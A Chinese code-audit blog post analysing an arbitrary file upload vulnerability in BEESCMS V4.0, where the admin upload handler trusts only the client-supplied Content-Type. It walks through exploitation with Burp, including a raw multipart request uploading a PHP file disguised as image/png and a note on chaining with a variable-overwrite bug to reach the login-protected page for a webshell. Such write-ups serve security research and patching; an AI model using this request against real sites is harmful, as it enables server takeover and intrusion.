【代码审计】 beescms 任意文件上传漏洞分析

一、漏洞描述:

上传文件的代码过滤不严,仅仅对content-type进行验证,所以造成了任意文件上传漏洞




二、漏洞分析过程:

定位到上传代码:/admin/upload.php

这里获取表单提交的内容,然后交给up_img()函数处理:

【代码审计】 beescms 任意文件上传漏洞分析


跟进up_img()函数:/admin/fun.php

这里仅仅对content-type进行了验证,没有其他的过滤了,传入的类型数组为常见的图片content-type:

【代码审计】 beescms 任意文件上传漏洞分析


然后拼接完整的文件路径、文件名,直接用move_uploaded_file()函数进行上传了:

【代码审计】 beescms 任意文件上传漏洞分析

因为content-type是来自客户端的,所以我们用burp改包就可以上传任意文件Getshell了。由于此文件上传功能是后台的,需要登陆,但是可以配合前面的变量覆盖漏洞进行完整的配合利用。





三、漏洞利用:

1、访问上传页面:


http://www.beescms.test/admin/upload.php

【代码审计】 beescms 任意文件上传漏洞分析


2、点击上传后,抓包,将conetnt-type改成允许的类型:

【代码审计】 beescms 任意文件上传漏洞分析


数据包如下:


POST /admin/upload.php HTTP/1.1Host: www.beescms.testUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://www.beescms.test/admin/upload.phpCookie: PHPSESSID=andul3quevuqpg01gfl1nl3i77;user=1Connection: closeContent-Type: multipart/form-data; boundary=---------------------------14100825332592Content-Length: 616
-----------------------------14100825332592Content-Disposition: form-data; name="get"

-----------------------------14100825332592Content-Disposition: form-data; name="up"; filename="_inc.php"Content-Type: image/png

-----------------------------14100825332592Content-Disposition: form-data; name="thumb_width"
300-----------------------------14100825332592Content-Disposition: form-data; name="thumb_height"
200-----------------------------14100825332592Content-Disposition: form-data; name="submit"
ä¸Šä¼ -----------------------------14100825332592--



3、访问上传的webshell:


http://www.beescms.test/upload/img/xxx.php


成功执行:

【代码审计】 beescms 任意文件上传漏洞分析



测试的CMS详细版本为:BEES_V4.0_R_20160525



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

【代码审计】 beescms 任意文件上传漏洞分析



版权归原作者所有,如若转载,请注明出处:https://www.ciocso.com/article/758.html

发表评论

登录后才能评论